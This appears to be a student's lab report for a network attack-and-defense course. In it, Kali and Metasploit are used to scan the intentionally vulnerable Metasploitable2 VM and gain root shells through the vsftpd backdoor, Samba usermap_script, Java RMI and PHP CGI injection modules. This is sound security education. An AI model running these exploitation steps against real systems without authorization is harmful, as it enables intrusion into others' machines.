20232311 2025-2026-1 《网络与系统攻防技术》实验六实验报告

news/2025/11/17 23:06:43/文章来源:https://www.cnblogs.com/z-f-z12/p/19234744

实验内容

  • 发现靶机Metasploitable2并进行端口扫描、版本扫描以及漏洞扫描等等
  • 利用Vsftpd源码包后门漏洞进行攻击
  • 利用SambaMS-RPC Shell命令注入漏洞
  • 利用Java RMI SERVER命令执行漏洞
  • 利用PHP CGI参数执行注入漏洞

实验目的

  • 通过使用Metasploit渗透测试框架,对靶机Metasploitable2上的多个典型服务漏洞(如Vsftpd、Samba、Java RMI、PHP CGI)进行探测、利用和验证,从而掌握Metasploit的基本操作流程和漏洞利用方法

实验环境

  • 安装Kali镜像的VMware虚拟机
    image
  • Metasploitable2虚拟机
    image

实验过程

一、前期渗透

1、主机发现

  • 首先在靶机Metasploitable2上进行ifconfig查看靶机IP便于后续扫描实验,靶机IP为192.168.181.145
    屏幕截图 2025-11-17 153746
  • 在kali虚拟机中先切换到root模式下,使用msfconsole进入控制台,在Metasploit中搜索ARP扫描模块arp_sweep并使用它,具体命令如下:
msfconsole //打开控制台
search arp_sweep //搜索扫描模块
use 0 //使用它
set RHOSTS 192.168.181.0/24 //设置扫描的网段
run //启动攻击

屏幕截图 2025-11-17 155405

  • 由上图可知扫描结果,标识为VMware, Inc.,说明靶机为一台VMware虚拟机

2、端口扫描

  • 使用nmap进行端口扫描
    • 使用nmap -sS -sV 192.168.181.145命令靶机进行高效隐蔽的SYN扫描,同时探测开放端口上运行的服务及版本信息
      屏幕截图 2025-11-17 155520
    • 由上图扫描结果可知靶机有很多开放的端口
  • 在Metasploit使用portscan/tcp进行扫描,具体命令如下:
msfconsole //打开Metasploit框架的控制台界面
use auxiliary/scanner/portscan/tcp //加载TCP端口扫描的辅助模块
set RHOSTS 192.168.181.145 //设置扫描的目标主机IP地址
set THREADS 10 //设置扫描时使用的线程数为10,提高扫描效率
run //启动攻击

屏幕截图 2025-11-17 155715

  • 由上图可知,扫描出的端口数比使用nmap扫出来的略多

3、漏洞扫描

  • 使用nmap -script=vuln 192.168.181.145对靶机进行漏洞扫描。其中,-script=vuln表示调用nmap自带的漏洞检测脚本集,通过发送特定探测包、检查服务响应等方式,识别靶机上可能存在的已知安全漏洞
    扫描发现存在大量漏洞,分析如下:
    • 靶机21端口(FTP服务):存在vsFTPd 2.3.4后门漏洞(CVE-2011-2523),该漏洞是vsFTPd 2.3.4版本被植入的恶意后门,攻击者可通过特定操作直接获取root权限(扫描结果中已执行id命令得到root权限),属于可直接利用的高危漏洞,威胁程度极高。
      屏幕截图 2025-11-17 170032
    • 靶机25端口(SMTP 服务)的两个漏洞:一是SMTP服务未受Exim漏洞(CVE-2010-4344)影响;二是存在SSL POODLE信息泄露漏洞(CVE-2014-3566),该漏洞利用SSL 3.0的CBC填充缺陷,攻击者可通过中间人攻击获取明文数据,会导致通信内容泄露,属于中高危漏洞。
      屏幕截图 2025-11-17 170105
    • 靶机80端口(HTTP 服务):存在HTTP SQL注入漏洞,扫描结果列出了多个可能存在注入的URL路径(如Mutilidae应用的各类页面),SQL注入漏洞允许攻击者构造恶意SQL语句执行未授权操作如读取/篡改数据库、获取敏感信息,是Web应用中常见的高危漏洞之一。
      屏幕截图 2025-11-17 170118
    • 这是80端口的多个HTTP相关漏洞:一是 HTTP TRACE方法启用,可能被用于跨站追踪等攻击;二是存在Slowloris拒绝服务漏洞(CVE-2007-6750),该漏洞通过保持大量半开连接耗尽Web服务器资源,导致服务不可用;同时未检测到存储型XSS漏洞,整体来看Slowloris属于可造成业务中断的中危漏洞。
      屏幕截图 2025-11-17 170157
    • 靶机1099端口(RMI 注册服务):存在RMI注册中心默认配置远程代码执行漏洞,由于RMI注册中心默认允许从远程URL加载类,攻击者可构造恶意类文件触发远程代码执行,能够直接控制靶机,属于高危漏洞。
      屏幕截图 2025-11-17 170210
    • 涉及靶机5432端口(PostgreSQL 服务)的多个SSL相关漏洞:包括CCS注入漏洞(CVE-2014-0224),可被中间人攻击劫持会话、窃取敏感信息,风险等级高、SSL POODLE信息泄露漏洞(CVE-2014-3566),重复出现,再次印证通信数据泄露风险,以及Diffie-Hellman密钥交换组强度不足漏洞,易被被动窃听,这些漏洞共同导致该端口的加密通信安全性大幅降低,属于中高危风险集合。
      屏幕截图 2025-11-17 170231
    • 靶机6667端口(IRC 服务)存在UnrealIRCd 后门漏洞:该端口运行的UnrealIRCd IRC服务器被植入了恶意后门(属于被篡改的恶意版本),攻击者可利用此后门直接执行任意命令,进而控制靶机,属于高危可利用漏洞
      image

二、利用Vsftpd源码包后门漏洞进行攻击

  • 使用nmap -sV -p 21 192.168.181.145扫描靶机的21端口,检查该端口是否开启以及运行在该端口的服务是否为vsftpd 2.3.4,结果肯定
    屏幕截图 2025-11-17 170412
  • 使用Metasploit框架利用漏洞进行攻击,具体命令如下:
msfconsole //打开Metasploit框架的控制台界面
search vsftpd //在Metasploit中搜索与vsftpd相关的漏洞利用模块
use 1 //对应版本号选择搜索结果中序号为1的vsftpd漏洞利用模块
set RHOSTS 192.168.181.145 //设置扫描的目标主机IP地址
run //启动攻击

屏幕截图 2025-11-17 170730

  • 使用Vsftpd源码包后门漏洞攻击成功,获取主机shell,执行操作进行验证:
    屏幕截图 2025-11-17 170835
    • pwd // 查看当前在靶机文件系统中的工作目录,执行结果显示当前处于根目录(/)
    • ls // 列出当前目录下的所有文件和文件夹,这里展示了靶机根目录下的系统目录(如 bin、boot 等)
    • whoami // 查看当前登录靶机的用户身份,执行结果显示当前是root用户
    • id // 查看当前用户的UID、GID等身份信息,执行结果显示当前是拥有最高权限的root用户(uid=0、gid=0)

三、利用SambaMS-RPC Shell命令注入漏洞

  • 使用nmap -p 139 192.168.181.145扫描靶机的139端口,检查该端口是否开启以及运行在该端口的服务
    屏幕截图 2025-11-17 170903
  • 使用Metasploit框架利用漏洞进行攻击,具体命令如下:
msfconsole //打开Metasploit框架的控制台界面
use exploit/multi/samba/usermap_script //加载针对Samba服务usermap_script漏洞的利用模块
set RHOSTS 192.168.181.145 //设置目标主机IP地址
exploit //启动攻击

屏幕截图 2025-11-17 171158

  • 由上图可知,利用usermap_script漏洞攻击成功,获取主机shell,使用操作验证:
    • whoami // 查看当前登录靶机的用户身份,执行结果显示当前是root用户;
    • pwd // 查看当前在靶机文件系统中的工作目录,执行结果显示当前处于根目录(/)
    • uname -a //尝试查看靶机的系统内核及版本信息,但是这里打快了,后续会有正确示例

4、利用Java RMI SERVER命令执行漏洞

  • 操作如上一步,先使用nmap -p 1099 192.168.181.145扫描靶机的1099端口,检查该端口是否开启以及运行在该端口的服务
    屏幕截图 2025-11-17 171234
  • 使用Metasploit框架利用漏洞进行攻击,具体命令如下:
msfconsole //打开Metasploit框架的控制台界面
use exploit/multi/misc/java_rmi_server//加载针对Java RMI服务的漏洞利用模块
show options //查看配置参数
set RHOSTS 192.168.181.145 //设置扫描的目标主机IP地址
run //启动攻击
shell//切换到交互式Shell

屏幕截图 2025-11-17 171740
屏幕截图 2025-11-17 171750

  • 由上图可知,利用针对Java RMI服务的漏洞攻击成功,获取主机shell,使用操作验证:
    • uname -a // 查看靶机系统信息,执行结果显示靶机是Linux系统(版本为2.6.24-16-server,架构i686)
    • whoami // 查看当前登录靶机的用户身份,执行结果显示当前为root用户
    • pwd // 查看当前在靶机文件系统中的工作目录,执行结果显示处于根目录(/)
    • ls // 列出当前目录下的文件和文件夹,展示了靶机根目录下的系统目录(如 bin、boot 等)

5、利用PHP CGI参数执行注入漏洞

  • 操作如上一步,先使用nmap -p 80 192.168.181.145扫描靶机的80端口,检查该端口是否开启以及运行在该端口的服务
    屏幕截图 2025-11-17 171834
  • 使用Metasploit框架利用漏洞进行攻击,具体命令如下:
msfconsole //打开Metasploit框架的控制台界面
use exploit/multi/http/php_cgi_arg_injection//加载针对PHP CGI参数注入漏洞的利用模块,该模块用于攻击存在参数注入缺陷的PHP CGI服务。
set RHOSTS 192.168.181.145 //设置扫描的目标主机IP地址
run //启动攻击
shell//切换到交互式Shell

屏幕截图 2025-11-17 172115

  • 由上图可知,利用PHP CGI参数执行注入漏洞攻击成功,获取主机shell,使用操作whoami、pwd、uname -a验证顺利

问题及解决方案

问题:一开始使用nmap扫描发现无法扫到靶机
解决方案:原来是上一次实验将kali的网络设置改动过,将其改回NAT即可

学习感悟、思考

  • 这次Metasploitable2的渗透实验,让我对漏洞利用从概念层面落地到了实际操作中。从前期的主机发现、端口扫描到漏洞探测,再到逐个利用Vsftpd后门、Samba注入等漏洞获取root权限,我直观感受到了旧版本服务的高危性,比如vsFTPd 2.3.4的恶意后门,几乎是一键获取权限,这也让我明白企业中及时更新服务版本绝不是一句空话。
  • 同时,Metasploit的模块化设计也让我学到很多:从搜索模块到配置参数再到执行攻击,流程的标准化既降低了渗透门槛,也体现了渗透测试工具化+流程化的特点,但这也意味着攻击者的成本被大幅降低,防守方需要更全面的资产梳理与漏洞管控。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/968389.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

线程池的概念

线程池的概念核心线程数: 1.corePoolSize:线程池长期维持的线程数量,即使这些线程处于空闲状态,也不会被销毁,(除非设置了allowCoreThreadTimeOut). 2.maximumPolloSize(最大线程数): 线程池允许创建最大的线程…

android compose viewModel 传参数

android compose viewModel 传参数android compose viewModel 传参数 在MainActivity 里面可以用viewModelsval userDao = db.userDao()val viewModel by viewModels<MyArticleViewModel>(factoryProducer = {ob…

奶牛快传服务调整公告

奶牛快传服务调整公告 尊敬的奶牛快传用户 感谢您长期以来的信任与支持。为了更好地服务创作者,未来我们将专注于 稿定设计 的升级与创新。基于这一战略调整,奶牛快传将于 **2025 年 12 月 8 日 ** 正式停止服务。届…

从零实现 REINFORCE/GRPO —— 大模型推理强化微调实践

一文吃透:不依赖成熟 RL 库,如何实现 REINFORCE、REINFORCE-baseline 与 GRPO;数理推理模型的强化学习微调实践;训练/参考/采样模型的多卡调度。引言 你是否也遇到过:模型“会思考”,但少数题正确,格式还常常不…

java for linux 下载

在 Linux 系统上下载 Java,通常有以下几种常见方式:? 方法一:使用 yum(Debian/Ubuntu)安装 Java sudo apt update sudo apt install openjdk-17-jdkopenjdk-17-jdk 是 Java 17 的 JDK(Java Development Kit)。…

13 个 pytest 宝藏插件推荐!(存存存)

pytest-html 核心:一键生成直观的 HTML 测试报告,便于结果查看与分享。allure-pytest 核心:支持步骤描述、附件、分类等,比pytest-html更高级,让测试结果一目了然。pytest-xdist 核心:支持并行测试,通过将测试用…

java 1.8 linux

如果您是在使用 Java 1.8 在 Linux 系统上进行开发或运行,以下是一些常见的命令和脚本示例,帮助您管理 Java 1.8 环境:一、安装 Java 1.8 1. 使用 yum(适用于基于 RHEL/CentOS/Scientific Linux 的系统) sudo yum…

iOS开发Linux

你提到的“iOS开发Linux”可能是一个误解或混淆。iOS 是苹果公司开发的移动操作系统,主要用于苹果设备(如 iPhone、iPad、Apple Watch 等),而 Linux 是一个开源的操作系统,主要用于服务器、嵌入式系统、桌面计算机…

手撸大模型的分布式训练:深刻理解大模型训练的“起飞”原理

单卡不够?内存爆炸?训练太慢? 在大型语言模型(LLM)的训练过程中,单设备算力和内存往往成为性能瓶颈。如何高效地利用多GPU甚至多节点资源进行分布式训练,是每个LLM研究者和工程师必须面对的挑战。本文将深入剖析…

XHORSE XZBT42EN 2-Button HON.D PCBs for Honda Fit XR-V Jazz City 2018-2022 (5pcs/lot)

Solving Honda Remote Key PCB Issues: The XHORSE XZBT42EN Advantage Is your Honda Fit, XR-V, Jazz, or City struggling with unresponsive remote controls? For European and American automotive repair prof…

事件循环其实很简单!

一、概念 JavaScript 是单线程执行(基于执行栈 / 调用栈 call stack),事件循环负责不断地从各种任务队列里取任务执行——以保证异步任务的函数回调按规则有序运行,浏览器环境和 Node.js 环境都使用事件循环,尽管…

从0到1:揭秘LLM预训练前的海量数据清洗全流程

读完这篇文章,你将用监督微调(SFT)把一个 1.5B 规模的数学模型在 GSM8K 上的零样本推理正确率从 1.56% → 62.9%,同时把输出格式遵循率从 18.9% → 100%。我们将完整走通数据集下载、Prompt 架构、训练配置和评估方…

Upgrade Your Key Programming: New Style CG A22-3+1 Flip-4BTN Wire Remote for CGDI K2 (5pcs/lot)

The Frustration of Unreliable Key Remotes: A Problem for Mechanics and Car Owners Alike In the bustling world of automotive repair, few issues frustrate European and American mechanics more than unreli…

深入解析:使用 Triton 实现 Flash Attention2 - 让大模型训练飞起来

引言 你是否曾经在训练大型语言模型时,眼睁睁地看着 GPU 内存不断飙升,最终因为 OOM(Out of Memory)错误而前功尽弃?或者在处理长序列时,发现注意力机制的计算时间呈平方级增长,让人望而却步? 如果你有过这样的…

AI技术落地实践

好的,这是一个极具前瞻性的问题,充分体现了您对技术趋势的敏锐度。下面我将详细阐述我们在AI技术落地,特别是前端与AI结合方面的完整思考与实践。8. AI技术落地实践 第一部分:SQL编辑器集成LLM的完整实践 1. 技术选…

Day22flex布局

1.felx的组成<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1…

CF2169A题解

贪心传送门:https://codeforces.com/problemset/problem/2169/A 将数组排序,如下情况:\(11\ 12\ 13\ 14\ 14\ 15\),假设 \(a=14\),我们发现我们无论如何选择只能选取 \(a\) 左边或右边的数,又因为平局不算分,贪…

re.compile为什么能提高速度?

re.compile(pattern, flags=0) 的核心作用是 “编译正则表达式模式,生成可重复使用的 Pattern 对象”——本质是把正则字符串“编译”成正则引擎可直接执行的“字节码”,核心价值是 提升重复使用时的效率 + 简化代码…

从 0 搭建 LLM 不再难!这个 PyTorch 项目帮你吃透大模型底层逻辑

如果你曾想深入理解大语言模型(LLM)的 “五脏六腑”,却被框架封装的黑盒接口、复杂的源码结构劝退;如果你希望亲手实现 Transformer 的每一个组件,而非单纯调用transformers库 —— 那么今天推荐的这个开源项目,…

题解:P8819 [CSP-S 2022] 星战

CSP-S 2022 T3 和哈希 trick你说的对,但是, “不可以,总司令!” 这是一个神秘 trick,它的模板题是 P3560,可以先把这个题写了或者先把星战写了再写模板。 题意简述 题目链接 给出 \(n\) 个点 \(m\) 条边的有向图…